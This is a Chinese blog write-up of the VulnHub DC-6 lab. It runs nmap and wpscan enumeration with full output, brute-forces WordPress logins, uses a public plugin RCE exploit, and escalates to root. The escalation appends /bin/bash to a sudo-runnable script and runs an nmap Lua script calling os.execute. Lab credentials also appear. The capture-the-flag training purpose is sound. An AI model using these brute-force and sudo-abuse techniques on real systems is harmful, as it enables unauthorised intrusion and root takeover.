vulnhub_DC_6_wp
前言
靶机地址:https://www.vulnhub.com/entry/dc-6,315/
靶机下载地址：https://download.vulnhub.com/dc/DC-6.zip
攻击机地址：192.168.20.135
靶机探测
nmap -sn 192.168.20.0/24
192.168.20.149为靶机地址
端口扫描
nmap -p- 192.168.20.149
详细信息扫描
nmap -A -p22,80 192.168.20.149
点击查看扫描结果
┌──(root㉿kali)-[~]
└─# nmap -A -p22,80 192.168.20.149
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-02 05:38 EDT
Nmap scan report for 192.168.20.149
Host is up (0.00055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 3e52cece01b694eb7b037dbe087f5ffd (RSA)
| 256 3c836571dd73d723f8830de346bcb56f (ECDSA)
|_ 256 41899e85ae305be08fa4687106b415ee (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Did not follow redirect to http://wordy/
|_http-server-header: Apache/2.4.25 (Debian)
MAC Address: 00:0C:29:78:3C:86 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.55 ms 192.168.20.149
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.34 seconds
wordy域名修改hosts文件
nmap漏洞扫描
nmap -p22,80 --script=vuln 192.168.20.149
点击查看扫描结果
┌──(root㉿kali)-[~]
└─# nmap -p22,80 --script=vuln 192.168.20.149
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-02 05:47 EDT
Nmap scan report for wordy (192.168.20.149)
Host is up (0.00047s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /wp-login.php: Possible admin folder
| /readme.html: Wordpress version: 2
| /: WordPress version: 5.1.1
| /wp-includes/images/rss.png: Wordpress version 2.2 found.
| /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
| /wp-includes/images/blank.gif: Wordpress version 2.6 found.
| /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
| /wp-login.php: Wordpress login page.
| /wp-admin/upgrade.php: Wordpress login page.
|_ /readme.html: Interesting, a readme.
| http-wordpress-users:
| Username found: admin
| Username found: graham
| Username found: mark
| Username found: sarah
| Username found: jens
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
|_http-csrf: Couldn't find any CSRF vulnerabilities.
MAC Address: 00:0C:29:78:3C:86 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 33.64 seconds
web信息收集
访问页面
查看一番网页源码注释没有发现有用信息
whatweb信息收集
先上wpscan扫一波
wpscan扫描
wpscan --url http://wordy/
点击查看扫描结果
┌──(root㉿kali)-[~]
└─# wpscan --url http://wordy/
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://wordy/ [192.168.20.149]
[+] Started: Wed Aug 2 05:50:58 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.25 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://wordy/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).
| Found By: Rss Generator (Passive Detection)
| - http://wordy/index.php/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
| - http://wordy/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
[+] WordPress theme in use: twentyseventeen
| Location: http://wordy/wp-content/themes/twentyseventeen/
| Last Updated: 2023-03-29T00:00:00.000Z
| Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 3.2
| Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <======================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Wed Aug 2 05:51:02 2023
[+] Requests Done: 187
[+] Cached Requests: 5
[+] Data Sent: 42.704 KB
[+] Data Received: 20.427 MB
[+] Memory used: 262.402 MB
[+] Elapsed time: 00:00:03
WordPress version 5.1.1
扫一下用户
wpscan wordy -e --url http://wordy/
点击查看扫描结果
┌──(root㉿kali)-[~]
└─# wpscan wordy -e --url http://wordy/
Type application/netcdf is already registered as a variant of application/netcdf.
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://wordy/ [192.168.20.149]
[+] Started: Wed Aug 2 05:57:27 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.25 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://wordy/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).
| Found By: Rss Generator (Passive Detection)
| - http://wordy/index.php/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
| - http://wordy/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
[+] WordPress theme in use: twentyseventeen
| Location: http://wordy/wp-content/themes/twentyseventeen/
| Last Updated: 2023-03-29T00:00:00.000Z
| Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 3.2
| Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:00 <=====================================> (570 / 570) 100.00% Time: 00:00:00
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:02 <===================================> (2575 / 2575) 100.00% Time: 00:00:02
[i] No Timthumbs Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <======================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Enumerating DB Exports (via Passive and Aggressive Methods)
Checking DB Exports - Time: 00:00:00 <============================================> (71 / 71) 100.00% Time: 00:00:00
[i] No DB Exports Found.
[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
Brute Forcing Attachment IDs - Time: 00:00:00 <=================================> (100 / 100) 100.00% Time: 00:00:00
[i] No Medias Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <=======================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://wordy/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] mark
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] graham
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] sarah
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] jens
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Wed Aug 2 05:57:36 2023
[+] Requests Done: 3484
[+] Cached Requests: 40
[+] Data Sent: 904.909 KB
[+] Data Received: 789.675 KB
[+] Memory used: 286.426 MB
[+] Elapsed time: 00:00:09
可以发现扫描出来了5个用户名
搜索相关漏洞
WordPress version 5.1.1
searchsploit WordPress 5.1.1
暂时没有可以直接利用的
暴力破解
用户有了，密码就用提示中的
cat /usr/share/wordlists/rockyou.txt | grep k01 > pass.txt
生成字典
wpscan --url wordy -U user.txt -P pass.txt
username：mark
password：helpdesk01
登录后台
后台地址：http://wordy/wp-login.php
插件漏洞
Activity monitor这个插件存在rce漏洞
直接用50110.py
直接运行填写信息即可
ls -alhR /home
查看隐私文件
发现账号密码
graham - GSo7isUM1D4
ssh登录
提权
sudo -l
查看该用户所能执行的文件
查看该脚本
切换成jens的shell
echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh
查看当前用户可以用的命令
发现有nmap
nmap提权
echo "os.execute('/bin/bash')" > getshell
sudo nmap --script=getshell
提权成功
flag
flag如下
本文作者：夜梓月
本文链接：https://www.cnblogs.com/zy4024/p/vulnhub_DC_6_wp.html
版权声明：本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
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